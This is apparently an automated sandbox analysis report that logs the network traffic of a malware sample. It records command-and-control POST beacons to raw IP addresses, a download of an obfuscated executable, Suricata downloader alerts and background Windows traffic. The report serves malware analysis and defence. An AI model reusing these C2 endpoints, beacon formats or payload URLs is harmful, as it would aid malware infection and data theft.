Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 41 37 31 42 38 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02A71B85982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /Ropsjsn_Belphegor_obf.exe HTTP/1.1Host: 62.60.153.28

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.189.173.8 20.189.173.8
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49800 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49939 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50127 -> 62.60.153.28:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_009FBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

34_2_009FBE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134250Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a73c308d95d0426aaa875d29d57eff24&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593724&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593724&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: za73m1/PJ0KF3GLX.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134250Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a4547920aa3f49c6a102c14dad48afed&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593724&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593724&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: za73m1/PJ0KF3GLX.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2XGUk4Zy5p9BXkV&MD=+K8atg+2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
